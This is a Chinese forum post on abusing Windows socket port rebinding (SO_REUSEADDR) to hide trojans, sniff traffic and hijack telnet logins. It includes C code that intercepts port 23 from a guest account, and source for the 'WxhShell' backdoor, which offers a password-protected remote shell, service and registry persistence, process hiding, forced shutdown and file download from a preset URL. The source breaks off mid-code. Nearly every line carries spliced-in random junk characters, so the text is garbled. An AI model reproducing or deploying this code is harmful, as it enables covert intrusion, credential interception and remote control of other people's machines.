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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [WBU _  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Mq4>Mu  
x4[ Fn3JL  
  saddr.sin_family = AF_INET; (k24j*1e$  
g#r,u5<*?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~vstuRRST  
41^ $  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ep8 y  
G ;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 o{xA{ @<  
FcmL 4^s.`  
  这意味着什么?意味着可以进行如下的攻击: ]X<L~s_*  
v\Edf;(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 P;[>TCs ]8  
?Y'r=Q{w  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Na{&aqdz  
K?H(jP2mpM  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 l4Qv$  
V2BsvR`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ({9P, D~2  
],w+4;+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 mmBZ}V+&=  
0JX/@LNg0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 u!9bhL`  
Ctpc]lJ}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 u#`'|ko \9  
jU_#-<'r  
  #include L; 'C5#GN  
  #include 1j\wvPLr  
  #include =8 01nZJ  
  #include    S'(Hl}h!.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @+(a{%~7y  
  int main() c*Q6k<SKR  
  { apd"p{  
  WORD wVersionRequested; =(W l'iG   
  DWORD ret; 5gH'CzU?  
  WSADATA wsaData; m"tke'a  
  BOOL val; %tZ[wwt  
  SOCKADDR_IN saddr; ;7bY>zc(w  
  SOCKADDR_IN scaddr; A\T9>z^k  
  int err; 7,,#f&jP  
  SOCKET s; y];@ M<<?e  
  SOCKET sc; @j+X>TD  
  int caddsize; 'Z`fZ5q  
  HANDLE mt; :?z E@Ct  
  DWORD tid;   15wwu} X  
  wVersionRequested = MAKEWORD( 2, 2 ); B6"pw0  
  err = WSAStartup( wVersionRequested, &wsaData ); d{~Qd|<rr  
  if ( err != 0 ) { vC_O! 2E  
  printf("error!WSAStartup failed!\n"); ]]lM)  
  return -1; #Q$`3rr  
  } 5HMDug;   
  saddr.sin_family = AF_INET; eW zyydl  
    Wkc^?0p  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .aE%z/@s=  
OvtiFN^s'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); P<s:dH"  
  saddr.sin_port = htons(23); ]WZi +  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kJ:zMVN  
  { H\ONv=}7I  
  printf("error!socket failed!\n"); eKek~U&  
  return -1; 2mVLR;s{_  
  } {#J1D*?$"  
  val = TRUE; u@$pOLI  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 :R9 DJh\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) } P/ x@N  
  { P'q . _U  
  printf("error!setsockopt failed!\n"); e \ rb  
  return -1; f+D a W  
  } t4CI+fqy  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; fE&wtw{gi  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]z_C7Y"4BR  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 sKuPV  
{uuvgFC  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) b=j]tb,  
  { (VA:`pstP  
  ret=GetLastError(); UON W3}-  
  printf("error!bind failed!\n"); xtP=/B/  
  return -1; HOY9{>E}z  
  } JdW:%,sv  
  listen(s,2); (Jb[_d*  
  while(1) zPT!Fa`  
  { .4-I^W"1  
  caddsize = sizeof(scaddr); p$A`qx<M_  
  //接受连接请求 95CCje{o _  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); smt6).o  
  if(sc!=INVALID_SOCKET) jboQ)NxT!,  
  { M=aWL!nJ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >J[Wd<~t  
  if(mt==NULL) B[rxV  
  {  >o"3:/3  
  printf("Thread Creat Failed!\n"); Ood'kAH1B  
  break; 8FY/57.W  
  } OY/sCx+c  
  } L?5OWVX!v  
  CloseHandle(mt); YOHYXhc{S  
  } a>{b'X^LV  
  closesocket(s); |.zotEh  
  WSACleanup(); ]Ak@!&hyak  
  return 0; -j 6U{l  
  }   _F1{<" 4  
  DWORD WINAPI ClientThread(LPVOID lpParam) }uE8o"q  
  { Ghgo"-,#  
  SOCKET ss = (SOCKET)lpParam; ii :h E=  
  SOCKET sc; "nK(+Z  
  unsigned char buf[4096]; #e:*]A'I  
  SOCKADDR_IN saddr; &i~AXNw  
  long num; De*Z UN|<  
  DWORD val; n|oAfJUk,  
  DWORD ret;  T8i9  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >r"~t70C~]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   kFG>Km(y}  
  saddr.sin_family = AF_INET; hp E?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); vZns,K#4H\  
  saddr.sin_port = htons(23); uUczD 8y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R.EA5X|_  
  { )A4WK+yD$z  
  printf("error!socket failed!\n"); zaVDe9B,7  
  return -1; |ei?s1)  
  } aQEMCWxZ  
  val = 100; J0U9zI4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @lP<Mq~]  
  { [[PUK{P0  
  ret = GetLastError(); Eqg(U0k0  
  return -1; @:~O  
  } f*g>~!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t?0D*!D  
  { 2>l:: 8Pp  
  ret = GetLastError(); 1;l&ck-Gg/  
  return -1; ZL`G<Mo;.  
  } 2b]'KiX  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) q(Y<cJ?X  
  { 4C ;4"6  
  printf("error!socket connect failed!\n"); _F *(" o  
  closesocket(sc); }Vpr7_  
  closesocket(ss); xi=qap=S^9  
  return -1; O\ T  
  } \"qXlTQ1_9  
  while(1) $+<X 1  
  { jG0{>P#+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +_?;%PKkuF  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 TIV1?S  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 PZF>ia}  
  num = recv(ss,buf,4096,0); d{f3R8~Q.  
  if(num>0) <)zh2UI  
  send(sc,buf,num,0); B(mxW8y  
  else if(num==0) EO,;^RtB  
  break; A`7uw|uO$  
  num = recv(sc,buf,4096,0); 6$>m s6g%  
  if(num>0) N1KYV&'o  
  send(ss,buf,num,0); SPIYB/C  
  else if(num==0) <=V2~ asB  
  break; KLXv?4!  
  } '!!w|k d  
  closesocket(ss); *_$%Tv.]  
  closesocket(sc); buRXzSR  
  return 0 ; )Xa`LG =|  
  } /c`)Er 6d  
<GShm~XD2  
j8@YoD5o  
========================================================== L;xc,"\3  
yg "u^*r&  
下边附上一个代码,,WXhSHELL Etj*3/n|  
A^JeB<, 5a  
========================================================== <>f  
2C %{A  
#include "stdafx.h" f{lg{gA(  
LS?hb)7  
#include <stdio.h> `"M=ZVk  
#include <string.h> A==P?,RG  
#include <windows.h> >#R<*?*D}  
#include <winsock2.h> ~\K+)(\SNp  
#include <winsvc.h> "gdm RE{x  
#include <urlmon.h> ASAz<H$  
d'Z|+lq:  
#pragma comment (lib, "Ws2_32.lib") Q/iaxY#  
#pragma comment (lib, "urlmon.lib") Nora<  
b^PYA_k-Xn  
#define MAX_USER   100 // 最大客户端连接数 uj&^W[s  
#define BUF_SOCK   200 // sock buffer A $W,#`E  
#define KEY_BUFF   255 // 输入 buffer !a3cEzs3  
]}F_nc2L  
#define REBOOT     0   // 重启 fk P@e3  
#define SHUTDOWN   1   // 关机 `6!l!8 v  
ReP7c3D>p  
#define DEF_PORT   5000 // 监听端口 Qg?^%O'  
E'$r#k:o  
#define REG_LEN     16   // 注册表键长度 #HB]qa  
#define SVC_LEN     80   // NT服务名长度 !l_ 1r$  
_p7c<$ ;  
// 从dll定义API p[&'*"o!/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); GS~jNZx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D<}KTyG]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oj@B'j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5_M9T 3  
CIQo2~G  
// wxhshell配置信息 Hw<t>z k  
struct WSCFG { br<,?  
  int ws_port;         // 监听端口 ? YX2CJ6N  
  char ws_passstr[REG_LEN]; // 口令 g!D?Yj4  
  int ws_autoins;       // 安装标记, 1=yes 0=no Yv9(8  
  char ws_regname[REG_LEN]; // 注册表键名 "sf8~P9qy  
  char ws_svcname[REG_LEN]; // 服务名 $t-HJ<!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .BlGV2@^#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T\b e(@r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s9qr;}U.`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j; 1X-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kwZ 8q-0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \x)T_]Gcm  
zXvAW7  
}; {DBgW},  
. 5|wy<  
// default Wxhshell configuration E@R7b(:*  
struct WSCFG wscfg={DEF_PORT, ar=uDb;  
    "xuhuanlingzhe", Kw&J< H  
    1, +D`IcR-x  
    "Wxhshell", A%oHx|PD  
    "Wxhshell", a7nbGqsx  
            "WxhShell Service", !iCY!:  
    "Wrsky Windows CmdShell Service", A"#Gg7]tl'  
    "Please Input Your Password: ", +Ld4 e]  
  1, zhKb|SV  
  "http://www.wrsky.com/wxhshell.exe", [st4FaQ36  
  "Wxhshell.exe" (m=-oQ&Ro  
    }; }!(cm;XA"  
?A2#V(4  
// 消息定义模块 5X nA.?F^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {G/4#r 2>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?H0 #{!s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &I:5<zK{  
char *msg_ws_ext="\n\rExit."; 3F[z]B  
char *msg_ws_end="\n\rQuit."; 1N1MD@C?P  
char *msg_ws_boot="\n\rReboot..."; 7 \!t/<  
char *msg_ws_poff="\n\rShutdown..."; C* b!E:  
char *msg_ws_down="\n\rSave to "; yiSv#wD9  
<:2El9l!  
char *msg_ws_err="\n\rErr!"; \$V~kgQ0  
char *msg_ws_ok="\n\rOK!"; z(aei(U=  
y0M^oLx  
char ExeFile[MAX_PATH]; t@>Uc`%  
int nUser = 0; |OUr=b  
HANDLE handles[MAX_USER]; W'-B)li   
int OsIsNt; @.a[2,o_  
<E|i3\[p  
SERVICE_STATUS       serviceStatus; :o&qJ%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uYhm Fp  
{XC# -3O  
// 函数声明 c# U!Q7J  
int Install(void); ^|Of  
int Uninstall(void); |(*ReQ?=  
int DownloadFile(char *sURL, SOCKET wsh); 5<GC  
int Boot(int flag); =" #O1$  
void HideProc(void); V"#ie Y n  
int GetOsVer(void); tVvRT*>Wb  
int Wxhshell(SOCKET wsl); g599Lc&  
void TalkWithClient(void *cs); PiMh]  0  
int CmdShell(SOCKET sock); #Fl "#g$  
int StartFromService(void); lDnF(  
int StartWxhshell(LPSTR lpCmdLine); sikG}p0mx<  
=m:xf&r#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w [D9Q=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^9%G7J:vGO  
PP.QfY4  
// 数据结构和表定义 D4ESo)15'  
SERVICE_TABLE_ENTRY DispatchTable[] = {PnvQ?|Z  
{ S2kFdx*Zf  
{wscfg.ws_svcname, NTServiceMain}, =[FNZ:3  
{NULL, NULL} 200/  
}; ly7\H3  
"H" 4(3  
// 自我安装 ']4b}F:}  
int Install(void) b\Y<1EV^[  
{ WOrz7x  
  char svExeFile[MAX_PATH]; )AEJ` xC  
  HKEY key; x?9rT 0D  
  strcpy(svExeFile,ExeFile); <3m_} =\  
M^AwOR7<  
// 如果是win9x系统,修改注册表设为自启动 %# ?)+8"l  
if(!OsIsNt) { ?]]> WP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R7r` (c!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HJo&snT3  
  RegCloseKey(key); :$~)i?ge<5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3'}(:X(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "9jt2@<  
  RegCloseKey(key); aJ}y|+Cj  
  return 0; ARGtWW~:  
    } C}<j8a?  
  } /X~l%Xm  
} {~_X-g5|]  
else { P%A;EF~ v  
:3pJGMv(  
// 如果是NT以上系统,安装为系统服务 W,9. z%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]B/Gz  
if (schSCManager!=0)  s!X@ l  
{ 0?8O9i  
  SC_HANDLE schService = CreateService )y4bb^;z  
  ( ON.C%-T-  
  schSCManager, XZD9vFj1Z  
  wscfg.ws_svcname,  $A]2Iw!&  
  wscfg.ws_svcdisp, 18f!k  
  SERVICE_ALL_ACCESS, l\xcR]O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hO w  
  SERVICE_AUTO_START, ;gLHSHEA  
  SERVICE_ERROR_NORMAL, ecDni>W  
  svExeFile, V9&7K65-1  
  NULL, kU{+@MA;  
  NULL, {AUhF}O  
  NULL, mSF>~D1_  
  NULL, VW:WB.K$  
  NULL 0tyoH3o/d  
  ); z SDRZ!  
  if (schService!=0) v._Q XcE  
  { e&sZ]{uD  
  CloseServiceHandle(schService); :,Z'/e0&  
  CloseServiceHandle(schSCManager); >-J%=P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _;L%? -2c  
  strcat(svExeFile,wscfg.ws_svcname); }Q&zYC]d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h\| ~Q.kG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^YG'p?r.s  
  RegCloseKey(key); (k/[/`3ST  
  return 0; `Sgj!/! F  
    } "Zm**h.t  
  } & mwQj<Z  
  CloseServiceHandle(schSCManager); d5Hp&tm  
} +a1Or  
} 5x856RQ'  
nwuH:6~"  
return 1; eB%hP9=:x  
} XrP'FLY o  
B_R J;.oH  
// 自我卸载 p}H:t24Cr5  
int Uninstall(void) vP6NIcWC3  
{ t|-TG\Q X  
  HKEY key; t6u>_Sh e  
;e Iqxe>  
if(!OsIsNt) { x-27rGN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &O8vI ,M  
  RegDeleteValue(key,wscfg.ws_regname); riw0w  
  RegCloseKey(key); 7q\&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RP[^1  
  RegDeleteValue(key,wscfg.ws_regname); :{sy2g/+  
  RegCloseKey(key); c=d` DJ  
  return 0; $d0xJxM  
  } WXHvUiFf  
} LX f r  
} SB~HHx09  
else { )(bAi  
o]T-7Gs4p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^97u0K3$  
if (schSCManager!=0) [0c7fH`8V  
{ Q /D?U[G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JTGA\K  
  if (schService!=0) /B"FGa04p(  
  { g Va;!  
  if(DeleteService(schService)!=0) { (sM$=M<$  
  CloseServiceHandle(schService); B|9[DNd  
  CloseServiceHandle(schSCManager); cft/;A u{  
  return 0; p>M8:,  
  } 55O_b)$  
  CloseServiceHandle(schService); <MK4# I1I  
  } Ln-UN$2~F  
  CloseServiceHandle(schSCManager); M2Q*#U>6r  
} L#huTKX}  
} JG^fu*K  
wFbw3>'a9  
return 1; `-_kOxe3  
} PFR64HK2  
OVq(ulwi+  
// 从指定url下载文件 2/o_,k  
int DownloadFile(char *sURL, SOCKET wsh) ^*?mb)  
{ Oq3aboAt  
  HRESULT hr; D[jPz0  
char seps[]= "/"; \B/!}Tn;  
char *token; zX]4DLl,  
char *file;  9}-;OJe  
char myURL[MAX_PATH]; (JMk0H3u  
char myFILE[MAX_PATH]; Gx)U~L$B  
=;L44.,g  
strcpy(myURL,sURL); r+%$0eB1^  
  token=strtok(myURL,seps); 'kuLkM,  
  while(token!=NULL) o?,c#g  
  { cQzUR^oq,  
    file=token; cnw?3/J  
  token=strtok(NULL,seps); H8!; XB  
  } 8kdJ;%^N  
2^aXXPC  
GetCurrentDirectory(MAX_PATH,myFILE); 2xxw8_~C  
strcat(myFILE, "\\"); i<\WRzVT  
strcat(myFILE, file); #'y4UN  
  send(wsh,myFILE,strlen(myFILE),0); Dpb prT7_  
send(wsh,"...",3,0); _ASyGmO{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .n\j<Kq  
  if(hr==S_OK) 6 uS;H]nd<  
return 0; ,vDSY N6  
else /Fj*sS8  
return 1; 8*x/NaH /\  
\Gl>$5np  
} `8 Ann~Z|k  
PAD&sTjE*  
// 系统电源模块 jjT)3 c:J[  
int Boot(int flag) X_HU?Q_N  
{ F+<e9[  
  HANDLE hToken; E !EENg  
  TOKEN_PRIVILEGES tkp; 1[] 9EJ  
QnJd}(yN  
  if(OsIsNt) { #fVk;]u`[3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Hb&C;lk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %\f<N1~*  
    tkp.PrivilegeCount = 1; `RlMfd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @f!r"P]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]mR!-Fqj  
if(flag==REBOOT) { \"7U,y',  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'w"hG$".  
  return 0; Xk>YiV",?  
} BAIR!  
else { JZup} {a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1j_ 6Sw(  
  return 0; w~AW( VX  
} mufXM(  
  } 6DuA  
  else { 'z9}I #  
if(flag==REBOOT) { dKpUw9C#/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1v~1?+a\2  
  return 0; dy.U;  
} {>Yna"p  
else { DCP B9:u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Lk lD^AJA  
  return 0; Uz_OUTFM  
} G,X>f?  
} 2cQG2N2*  
,p' ;Xg6ez  
return 1; ubs>(\`q"  
} ]KM3G  
RI2/hrW  
// win9x进程隐藏模块 =#T3p9  
void HideProc(void) (`"87Xomnn  
{ U|~IJU3-  
!g[UFw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LjySO2  
  if ( hKernel != NULL ) FY9nVnIoI  
  { =m-nvXD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {d '>J<Da  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &BxZ}JH=k  
    FreeLibrary(hKernel); rI#,FZ  
  } cU_:l.b  
duV\Kt/g^  
return; @5j3[e  
} #_kV o3  
'/F%  ff  
// 获取操作系统版本 2-dEie/{'  
int GetOsVer(void) ja&S^B^@  
{ /5Tp)h|  
  OSVERSIONINFO winfo; PiJ >gDx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \C kb:  
  GetVersionEx(&winfo); M@=VIrX,m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [_-[S  
  return 1; GK&R,q5}  
  else R4%}IT^%P  
  return 0; )mu[ye"p  
} BIxjY!!"  
m\f}?t  
// 客户端句柄模块 Ksff]##H  
int Wxhshell(SOCKET wsl) rqTsKrLe  
{ IFbN ]N0  
  SOCKET wsh; b *Ca*!  
  struct sockaddr_in client; J+ uz{  
  DWORD myID; gaU(ebsE  
iE#I^`^V  
  while(nUser<MAX_USER) ;m~%57.;\  
{ ipD/dx.  
  int nSize=sizeof(client); a8 .x=j<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7|DPevrk  
  if(wsh==INVALID_SOCKET) return 1; [5-3PuT&9  
$T7(AohR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H`OJN .  
if(handles[nUser]==0) (9KiIRN   
  closesocket(wsh); TJ>$ ~9&Sy  
else : ~Ppv5W.  
  nUser++; i#%!J:_=  
  } '3]M1EP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RG6U~o1  
,.i)(Or  
  return 0; #{g6'9PMz  
} YhO-ecN  
a{\<L/\  
// 关闭 socket mJ'5!G  
void CloseIt(SOCKET wsh) RYV:?=D7s  
{ e=Q{CsP  
closesocket(wsh); ~\UAxB=  
nUser--; $ S]l%  
ExitThread(0); Ap!Y 3C  
} qS[KB\RN1  
ZjveXrx  
// 客户端请求句柄 fjLS_Q ;h  
void TalkWithClient(void *cs) C/ENJ&  
{ $q g/8G  
%b>Ee>rdD  
  SOCKET wsh=(SOCKET)cs; IN?rPdY  
  char pwd[SVC_LEN]; -] `OaL!  
  char cmd[KEY_BUFF]; m`xzvg  
char chr[1]; T7Qw1k  
int i,j; f,VJfY?#  
c^7QiTt_  
  while (nUser < MAX_USER) { ]5+<Rqdbg  
R] " jr  
if(wscfg.ws_passstr) {  h@+(VQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &d=ZCaP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O~c\+~5M*  
  //ZeroMemory(pwd,KEY_BUFF); o{OY1 ;=6  
      i=0; N4u-tlA  
  while(i<SVC_LEN) { h 6juX'V  
;oWak`]f  
  // 设置超时 C!^[d  
  fd_set FdRead; l~ZIv   
  struct timeval TimeOut; {Z1^/F v3  
  FD_ZERO(&FdRead); /=g$_m@yWI  
  FD_SET(wsh,&FdRead); "f4atuuXa  
  TimeOut.tv_sec=8; S3sxK:  
  TimeOut.tv_usec=0; ]dL#k>$0q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6Gh3r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >?(}F':  
:,Mg1Zf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dPmNX-'7  
  pwd=chr[0]; %<h+_(\h  
  if(chr[0]==0xd || chr[0]==0xa) { wqAj=1M\  
  pwd=0; V%JG :'6L  
  break; gUrXaD#  
  } a[7 Lqu  
  i++; lO=~&_  
    } tjbI*Pw7(  
Bn5$TiTcl  
  // 如果是非法用户,关闭 socket J'@`+veE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,rWej;CzN  
}  4_d'Uh&]  
6.k>J{GG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DwI X\9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KVp3 pUO  
Iz9b5  
while(1) { E&>=  
W*9*^  
  ZeroMemory(cmd,KEY_BUFF); >=d%t6 %(  
*d&+? !  
      // 自动支持客户端 telnet标准   Ax'o|RE)x  
  j=0; "w:?WS  
  while(j<KEY_BUFF) { !c;BOCqa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M1J77LfS8  
  cmd[j]=chr[0]; a$]i8AeG  
  if(chr[0]==0xa || chr[0]==0xd) { jn+BH3e  
  cmd[j]=0; ab^>_xD<  
  break; $m;DwlM  
  } b>f{o_  
  j++; ok(dCAKP  
    } Y1 *8&xT  
|%12Vr]J  
  // 下载文件 aLO'.5 ~^  
  if(strstr(cmd,"http://")) { Gk]6WLi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?(>fB2^  
  if(DownloadFile(cmd,wsh)) eY8rm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {!NX u  
  else 1hW"#>f7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p #Y2v  
  } fm$)?E_Rp  
  else { -gVsOX0  
OpFm:j3  
    switch(cmd[0]) { B-W8Zq#4>  
  Jq_AR!} %  
  // 帮助 FwqaWEk  
  case '?': { <L+y 6B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IRIYj(J  
    break; EJ=ud9  
  } c&I"&oZ@&  
  // 安装 rA[wC%%  
  case 'i': { LW*v/`@  
    if(Install()) Mh8s@g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k.!m-5E  
    else Z&Xp9"j,@;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }$Z0v`  
    break; h+j{;evN  
    } G!.%Qqs  
  // 卸载 vY2^*3\<D  
  case 'r': { m.w.h^f$&  
    if(Uninstall()) y8$I=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sq[LwJ  
    else 9_xJT^10  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h Nx#x  
    break; 1s6L]&B  
    } bL0>ul"  
  // 显示 wxhshell 所在路径 ^n9)rsb  
  case 'p': { 90UZ\{">  
    char svExeFile[MAX_PATH]; .A apO}{  
    strcpy(svExeFile,"\n\r"); [(m+Ejzi%  
      strcat(svExeFile,ExeFile); ][1 iKT  
        send(wsh,svExeFile,strlen(svExeFile),0); #b94S?dq  
    break; n 'E:uXv"  
    } +MyXIWmD  
  // 重启 #"!q_@b,D  
  case 'b': { m*~Iu<5L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Sd+bnq%  
    if(Boot(REBOOT)) ^]X\boWlI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '?uwUBi  
    else { q.!<GqSgb  
    closesocket(wsh); |H ,-V;  
    ExitThread(0); ph>0?Z =bn  
    } !z2KQ 4C  
    break; X{ f#kB]w  
    } L&hv:+3N  
  // 关机 AYGe`{  
  case 'd': { Mq52B_  
